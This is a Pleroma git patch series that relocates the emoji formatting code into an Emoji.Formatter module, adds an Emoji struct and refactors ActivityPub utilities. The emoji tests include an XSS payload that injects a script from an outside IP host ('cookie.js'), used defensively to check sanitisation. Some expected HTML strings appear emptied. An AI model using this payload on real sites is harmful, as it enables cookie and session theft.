+ file = HTML.strip_tags(elem(emoji_data, 1))
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+ end)
+ |> HTML.filter_tags()
+ end
+
+ defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+ defp prepare_emoji_html(emoji, file, _strip) do
+ ""
+ end
+
+ def demojify(text) do
+ emojify(text, Emoji.get_all(), true)
+ end
+
+ def demojify(text, nil), do: text
+
+ @doc "Outputs a list of the emoji-shortcodes in a text"
+ def get_emoji(text) when is_binary(text) do
+ Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+ String.contains?(text, ":#{emoji}:")
+ end)
+ end
+
+ def get_emoji(_), do: []
+
+ @doc "Outputs a list of the emoji-Maps in a text"
+ def get_emoji_map(text) when is_binary(text) do
+ get_emoji(text)
+ |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
+ Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
+ end)
+ end
+
+ def get_emoji_map(_), do: []
+end
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 84955289c..dbbfe3a66 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do
- alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
- alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@@ -100,56 +98,6 @@ def mentions_escape(text, options \\ []) do
end
end
- def emojify(text) do
- emojify(text, Emoji.get_all())
- end
-
- def emojify(text, nil), do: text
-
- def emojify(text, emoji, strip \\ false) do
- Enum.reduce(emoji, text, fn
- {_, _, _, emoji, file}, text ->
- String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
-
- emoji_data, text ->
- emoji = HTML.strip_tags(elem(emoji_data, 0))
- file = HTML.strip_tags(elem(emoji_data, 1))
- String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
- end)
- |> HTML.filter_tags()
- end
-
- defp prepare_emoji_html(_emoji, _file, true), do: ""
-
- defp prepare_emoji_html(emoji, file, _strip) do
- ""
- end
-
- def demojify(text) do
- emojify(text, Emoji.get_all(), true)
- end
-
- def demojify(text, nil), do: text
-
- @doc "Outputs a list of the emoji-shortcodes in a text"
- def get_emoji(text) when is_binary(text) do
- Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
- String.contains?(text, ":#{emoji}:")
- end)
- end
-
- def get_emoji(_), do: []
-
- @doc "Outputs a list of the emoji-Maps in a text"
- def get_emoji_map(text) when is_binary(text) do
- get_emoji(text)
- |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
- Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
- end)
- end
-
- def get_emoji_map(_), do: []
-
def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags}
end
diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex
index 5faddc9f4..9ee704022 100644
--- a/lib/pleroma/web/common_api/common_api.ex
+++ b/lib/pleroma/web/common_api/common_api.ex
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity
alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.Object
alias Pleroma.ThreadMute
alias Pleroma.User
@@ -261,12 +261,7 @@ def post(user, %{"status" => status} = data) do
sensitive,
poll
),
- object <-
- Map.put(
- object,
- "emoji",
- Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
- ) do
+ object <- put_emoji(object, full_payload, poll_emoji) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct"
@@ -300,6 +295,15 @@ def post(user, %{"status" => status} = data) do
end
end
+ # parse and put emoji to object data
+ defp put_emoji(map, text, emojis) do
+ Map.put(
+ map,
+ "emoji",
+ Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
+ )
+ end
+
# Updates the emojis for a user based on their profile
def update(user) do
user =
diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
index 9686e6491..d6907f707 100644
--- a/lib/pleroma/web/common_api/utils.ex
+++ b/lib/pleroma/web/common_api/utils.ex
@@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug
@@ -184,7 +185,7 @@ def make_poll_data(%{"poll" => %{"options" => options, "expires_in" => expires_i
"name" => option,
"type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0}
- }, Map.merge(emoji, Formatter.get_emoji_map(option))}
+ }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end)
case expires_in do
@@ -434,7 +435,7 @@ def confirm_current_password(user, password) do
end
def emoji_from_profile(%{info: _info} = user) do
- (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
+ (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _, _, _} ->
%{
"type" => "Emoji",
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 603c6b3c6..4f63b03cf 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Filter
- alias Pleroma.Formatter
alias Pleroma.HTTP
alias Pleroma.Notification
alias Pleroma.Object
@@ -140,7 +140,7 @@ def update_credentials(%{assigns: %{user: user}} = conn, params) do
user_info_emojis =
user.info
|> Map.get(:emoji, [])
- |> Enum.concat(Formatter.get_emoji_map(emojis_text))
+ |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
info_params =
diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex
index 720bd4519..382ecf426 100644
--- a/lib/pleroma/web/metadata/utils.ex
+++ b/lib/pleroma/web/metadata/utils.ex
@@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
@@ -13,7 +14,7 @@ def scrub_html_and_truncate(%{data: %{"content" => content}} = object) do
|> HtmlEntities.decode()
|> String.replace(~r/
/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata")
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate()
end
@@ -23,7 +24,7 @@ def scrub_html_and_truncate(content, max_length \\ 200) when is_binary(content)
|> HtmlEntities.decode()
|> String.replace(~r/
/, " ")
|> HTML.strip_tags()
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length)
end
diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
index 5dfab6a6c..4141bfba5 100644
--- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex
+++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
@@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
alias Ecto.Changeset
alias Pleroma.Activity
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.Notification
alias Pleroma.Object
alias Pleroma.Repo
@@ -713,7 +713,7 @@ defp parse_profile_bio(user, params) do
emojis_text = (params["description"] || "") <> " " <> (params["name"] || "")
emojis =
- ((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text))
+ ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
user_info =
diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex
index abae63877..9192ebd34 100644
--- a/lib/pleroma/web/twitter_api/views/activity_view.ex
+++ b/lib/pleroma/web/twitter_api/views/activity_view.ex
@@ -5,7 +5,7 @@
defmodule Pleroma.Web.TwitterAPI.ActivityView do
use Pleroma.Web, :view
alias Pleroma.Activity
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.Object
alias Pleroma.Repo
@@ -262,7 +262,7 @@ def render(
activity,
"twitterapi:content"
)
- |> Formatter.emojify(object.data["emoji"])
+ |> Emoji.Formatter.emojify(object.data["emoji"])
text =
if content do
@@ -319,7 +319,7 @@ def render(
"possibly_sensitive" => possibly_sensitive,
"visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object),
"summary" => summary,
- "summary_html" => summary |> Formatter.emojify(object.data["emoji"]),
+ "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]),
"card" => card,
"muted" => thread_muted? || User.mutes?(opts[:for], user)
}
diff --git a/lib/pleroma/web/twitter_api/views/user_view.ex b/lib/pleroma/web/twitter_api/views/user_view.ex
index 8a7d2fc72..3a6550826 100644
--- a/lib/pleroma/web/twitter_api/views/user_view.ex
+++ b/lib/pleroma/web/twitter_api/views/user_view.ex
@@ -4,7 +4,8 @@
defmodule Pleroma.Web.TwitterAPI.UserView do
use Pleroma.Web, :view
- alias Pleroma.Formatter
+
+ alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
alias Pleroma.Web.CommonAPI.Utils
@@ -72,7 +73,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do
description_html =
(user.bio || "")
|> HTML.filter_tags(User.html_filter_policy(for_user))
- |> Formatter.emojify(emoji)
+ |> Emoji.Formatter.emojify(emoji)
fields =
user.info
@@ -99,7 +100,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do
"name" => user.name || user.nickname,
"name_html" =>
if(user.name,
- do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji),
+ do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji),
else: user.nickname
),
"profile_image_url" => image,
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644
index 000000000..8b510f48b
--- /dev/null
+++ b/test/emoji/formatter_test.exs
@@ -0,0 +1,54 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love "
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love "
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+ end
+
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
+
+ assert Formatter.get_emoji(text) == [
+ {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+ ]
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+ end
+end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 7a5bd0f9f..c36681068 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -255,52 +255,6 @@ test "parses tags in the text" do
end
end
- describe "emojify" do
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love "
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love "
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
- end
-
- describe "get_emoji" do
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
- end
-
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
From 6ef0103ca0b194971a2e6f61685316536b742a11 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Sat, 31 Aug 2019 10:14:53 +0300
Subject: [PATCH 005/148] added Emoji struct
---
lib/pleroma/emoji.ex | 15 ++++++++++++++
lib/pleroma/emoji/formatter.ex | 12 +++++------
lib/pleroma/emoji/loader.ex | 13 +++---------
lib/pleroma/web/common_api/utils.ex | 2 +-
.../controllers/mastodon_api_controller.ex | 2 +-
.../controllers/util_controller.ex | 6 ++----
test/emoji/formatter_test.exs | 20 ++++++++++++++-----
test/emoji_test.exs | 8 ++++----
8 files changed, 47 insertions(+), 31 deletions(-)
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index ab6ba7d6a..b246bfbe6 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do
{:read_concurrency, true}
]
+ defstruct [:code, :file, :tags, :safe_code, :safe_file]
+
+ @doc "Build emoji struct"
+ def build({code, file, tags}) do
+ %__MODULE__{
+ code: code,
+ file: file,
+ tags: tags,
+ safe_code: Pleroma.HTML.strip_tags(code),
+ safe_file: Pleroma.HTML.strip_tags(file)
+ }
+ end
+
+ def build({code, file}), do: build({code, file, []})
+
@doc false
def start_link(_) do
GenServer.start_link(__MODULE__, [], name: __MODULE__)
diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex
index acdef3988..4869d073e 100644
--- a/lib/pleroma/emoji/formatter.ex
+++ b/lib/pleroma/emoji/formatter.ex
@@ -15,12 +15,12 @@ def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
- {_, _, _, emoji, file}, text ->
+ {_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
- emoji_data, text ->
- emoji = HTML.strip_tags(elem(emoji_data, 0))
- file = HTML.strip_tags(elem(emoji_data, 1))
+ {unsafe_emoji, unsafe_file}, text ->
+ emoji = HTML.strip_tags(unsafe_emoji)
+ file = HTML.strip_tags(unsafe_file)
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
@@ -40,7 +40,7 @@ def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
- Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+ Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
String.contains?(text, ":#{emoji}:")
end)
end
@@ -50,7 +50,7 @@ def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
- |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
+ |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex
index 82fc3b8c3..839316713 100644
--- a/lib/pleroma/emoji/loader.ex
+++ b/lib/pleroma/emoji/loader.ex
@@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
"""
alias Pleroma.Config
+ alias Pleroma.Emoji
require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
- @type emoji :: {String.t(), String.t(), list(String.t())}
+ @type emoji :: {String.t(), Emoji.t()}
@doc """
Loads emojis from files/packs.
@@ -81,15 +82,7 @@ def load do
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
end
- defp prepare_emoji({code, file, tags} = _emoji) do
- {
- code,
- file,
- tags,
- Pleroma.HTML.strip_tags(code),
- Pleroma.HTML.strip_tags(file)
- }
- end
+ defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
index d6907f707..1fb95f4ab 100644
--- a/lib/pleroma/web/common_api/utils.ex
+++ b/lib/pleroma/web/common_api/utils.ex
@@ -436,7 +436,7 @@ def confirm_current_password(user, password) do
def emoji_from_profile(%{info: _info} = user) do
(Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
- |> Enum.map(fn {shortcode, url, _, _, _} ->
+ |> Enum.map(fn {shortcode, %Emoji{file: url}} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 4f63b03cf..a50c060bf 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -331,7 +331,7 @@ def peers(conn, _params) do
defp mastodonized_emoji do
Pleroma.Emoji.get_all()
- |> Enum.map(fn {shortcode, relative_url, tags, _, _} ->
+ |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} ->
url = to_string(URI.merge(Web.base_url(), relative_url))
%{
diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
index 923480242..c14792068 100644
--- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex
+++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex
@@ -239,11 +239,9 @@ def version(conn, _params) do
def emoji(conn, _params) do
emoji =
- Emoji.get_all()
- |> Enum.map(fn {short_code, path, tags, _, _} ->
- {short_code, %{image_url: path, tags: tags}}
+ Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc ->
+ Map.put(acc, code, %{image_url: file, tags: tags})
end)
- |> Enum.into(%{})
json(conn, emoji)
end
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
index 8b510f48b..6d25fc453 100644
--- a/test/emoji/formatter_test.exs
+++ b/test/emoji/formatter_test.exs
@@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
@@ -20,15 +21,17 @@ test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ custom_emoji =
+ {
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
- }
+ }
+ |> Pleroma.Emoji.build()
expected_result =
"I love "
- assert Formatter.emojify(text, custom_emoji) == expected_result
+ assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
end
end
@@ -37,7 +40,14 @@ test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+ {"firefox",
+ %Emoji{
+ code: "firefox",
+ file: "/emoji/Firefox.gif",
+ tags: ["Gif", "Fun"],
+ safe_code: "firefox",
+ safe_file: "/emoji/Firefox.gif"
+ }}
]
end
diff --git a/test/emoji_test.exs b/test/emoji_test.exs
index 82f9c52ff..1fdbd0fdf 100644
--- a/test/emoji_test.exs
+++ b/test/emoji_test.exs
@@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
- {code, path, tags, _, _} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 5
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
- {code, path, tags, _, _} = emoji
+ {code, %Emoji{file: path, tags: tags}} = emoji
- assert tuple_size(emoji) == 5
+ assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
From 8cbad5500cefbba1e0bb67604960fc331b75b498 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Wed, 4 Sep 2019 15:25:12 +0300
Subject: [PATCH 006/148] add tests for activity_pub/utils.ex
---
lib/pleroma/user.ex | 1 +
lib/pleroma/web/activity_pub/activity_pub.ex | 12 +-
lib/pleroma/web/activity_pub/utils.ex | 298 +++++++++----------
test/web/activity_pub/utils_test.exs | 232 ++++++++++++++-
4 files changed, 371 insertions(+), 172 deletions(-)
diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
index 29fd6d2ea..424ed772f 100644
--- a/lib/pleroma/user.ex
+++ b/lib/pleroma/user.ex
@@ -147,6 +147,7 @@ def get_cached_follow_state(user, target) do
Cachex.fetch!(:user_cache, key, fn _ -> {:commit, follow_state(user, target)} end)
end
+ @spec set_follow_state_cache(String.t(), String.t(), String.t()) :: {:ok | :error, boolean()}
def set_follow_state_cache(user_ap_id, target_ap_id, state) do
Cachex.put(
:user_cache,
diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
index eeb826814..39b46a595 100644
--- a/lib/pleroma/web/activity_pub/activity_pub.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
@@ -435,6 +435,7 @@ def delete(%Object{data: %{"id" => id, "actor" => actor}} = object, local \\ tru
end
end
+ @spec block(User.t(), User.t(), String.t() | nil, boolean) :: {:ok, Activity.t() | nil}
def block(blocker, blocked, activity_id \\ nil, local \\ true) do
outgoing_blocks = Config.get([:activitypub, :outgoing_blocks])
unfollow_blocked = Config.get([:activitypub, :unfollow_blocked])
@@ -463,10 +464,11 @@ def unblock(blocker, blocked, activity_id \\ nil, local \\ true) do
end
end
+ @spec flag(map()) :: {:ok, Activity.t()} | any
def flag(
%{
actor: actor,
- context: context,
+ context: _context,
account: account,
statuses: statuses,
content: content
@@ -478,14 +480,6 @@ def flag(
additional = params[:additional] || %{}
- params = %{
- actor: actor,
- context: context,
- account: account,
- statuses: statuses,
- content: content
- }
-
additional =
if forward do
Map.merge(additional, %{"to" => [], "cc" => [account.ap_id]})
diff --git a/lib/pleroma/web/activity_pub/utils.ex b/lib/pleroma/web/activity_pub/utils.ex
index c9c0c3763..cf82d1a9b 100644
--- a/lib/pleroma/web/activity_pub/utils.ex
+++ b/lib/pleroma/web/activity_pub/utils.ex
@@ -33,50 +33,40 @@ def normalize_params(params) do
Map.put(params, "actor", get_ap_id(params["actor"]))
end
- def determine_explicit_mentions(%{"tag" => tag} = _object) when is_list(tag) do
- tag
- |> Enum.filter(fn x -> is_map(x) end)
- |> Enum.filter(fn x -> x["type"] == "Mention" end)
- |> Enum.map(fn x -> x["href"] end)
+ @spec determine_explicit_mentions(map()) :: map()
+ def determine_explicit_mentions(%{"tag" => tag} = _) when is_list(tag) do
+ Enum.flat_map(tag, fn
+ %{"type" => "Mention", "href" => href} -> [href]
+ _ -> []
+ end)
end
def determine_explicit_mentions(%{"tag" => tag} = object) when is_map(tag) do
- Map.put(object, "tag", [tag])
+ object
+ |> Map.put("tag", [tag])
|> determine_explicit_mentions()
end
def determine_explicit_mentions(_), do: []
+ @spec recipient_in_collection(any(), any()) :: boolean()
defp recipient_in_collection(ap_id, coll) when is_binary(coll), do: ap_id == coll
defp recipient_in_collection(ap_id, coll) when is_list(coll), do: ap_id in coll
defp recipient_in_collection(_, _), do: false
+ @spec recipient_in_message(User.t(), User.t(), map()) :: boolean()
def recipient_in_message(%User{ap_id: ap_id} = recipient, %User{} = actor, params) do
+ addresses = [params["to"], params["cc"], params["bto"], params["bcc"]]
+
cond do
- recipient_in_collection(ap_id, params["to"]) ->
- true
-
- recipient_in_collection(ap_id, params["cc"]) ->
- true
-
- recipient_in_collection(ap_id, params["bto"]) ->
- true
-
- recipient_in_collection(ap_id, params["bcc"]) ->
- true
-
+ Enum.any?(addresses, &recipient_in_collection(ap_id, &1)) -> true
# if the message is unaddressed at all, then assume it is directly addressed
# to the recipient
- !params["to"] && !params["cc"] && !params["bto"] && !params["bcc"] ->
- true
-
+ Enum.all?(addresses, &is_nil(&1)) -> true
# if the message is sent from somebody the user is following, then assume it
# is addressed to the recipient
- User.following?(recipient, actor) ->
- true
-
- true ->
- false
+ User.following?(recipient, actor) -> true
+ true -> false
end
end
@@ -188,53 +178,58 @@ def maybe_federate(_), do: :ok
Adds an id and a published data if they aren't there,
also adds it to an included object
"""
- def lazy_put_activity_defaults(map, fake \\ false) do
- map =
- unless fake do
- %{data: %{"id" => context}, id: context_id} = create_context(map["context"])
+ @spec lazy_put_activity_defaults(map(), boolean) :: map()
+ def lazy_put_activity_defaults(map, fake \\ false)
- map
- |> Map.put_new_lazy("id", &generate_activity_id/0)
- |> Map.put_new_lazy("published", &make_date/0)
- |> Map.put_new("context", context)
- |> Map.put_new("context_id", context_id)
- else
- map
- |> Map.put_new("id", "pleroma:fakeid")
- |> Map.put_new_lazy("published", &make_date/0)
- |> Map.put_new("context", "pleroma:fakecontext")
- |> Map.put_new("context_id", -1)
- end
+ def lazy_put_activity_defaults(map, true) do
+ map
+ |> Map.put_new("id", "pleroma:fakeid")
+ |> Map.put_new_lazy("published", &make_date/0)
+ |> Map.put_new("context", "pleroma:fakecontext")
+ |> Map.put_new("context_id", -1)
+ |> lazy_put_object_defaults(true)
+ end
- if is_map(map["object"]) do
- object = lazy_put_object_defaults(map["object"], map, fake)
- %{map | "object" => object}
- else
+ def lazy_put_activity_defaults(map, _fake) do
+ %{data: %{"id" => context}, id: context_id} = create_context(map["context"])
+
+ map
+ |> Map.put_new_lazy("id", &generate_activity_id/0)
+ |> Map.put_new_lazy("published", &make_date/0)
+ |> Map.put_new("context", context)
+ |> Map.put_new("context_id", context_id)
+ |> lazy_put_object_defaults(false)
+ end
+
+ # Adds an id and published date if they aren't there.
+ #
+ @spec lazy_put_object_defaults(map(), boolean()) :: map()
+ defp lazy_put_object_defaults(%{"object" => map} = activity, true)
+ when is_map(map) do
+ object =
map
- end
+ |> Map.put_new("id", "pleroma:fake_object_id")
+ |> Map.put_new_lazy("published", &make_date/0)
+ |> Map.put_new("context", activity["context"])
+ |> Map.put_new("context_id", activity["context_id"])
+ |> Map.put_new("fake", true)
+
+ %{activity | "object" => object}
end
- @doc """
- Adds an id and published date if they aren't there.
- """
- def lazy_put_object_defaults(map, activity \\ %{}, fake)
+ defp lazy_put_object_defaults(%{"object" => map} = activity, _)
+ when is_map(map) do
+ object =
+ map
+ |> Map.put_new_lazy("id", &generate_object_id/0)
+ |> Map.put_new_lazy("published", &make_date/0)
+ |> Map.put_new("context", activity["context"])
+ |> Map.put_new("context_id", activity["context_id"])
- def lazy_put_object_defaults(map, activity, true = _fake) do
- map
- |> Map.put_new_lazy("published", &make_date/0)
- |> Map.put_new("id", "pleroma:fake_object_id")
- |> Map.put_new("context", activity["context"])
- |> Map.put_new("fake", true)
- |> Map.put_new("context_id", activity["context_id"])
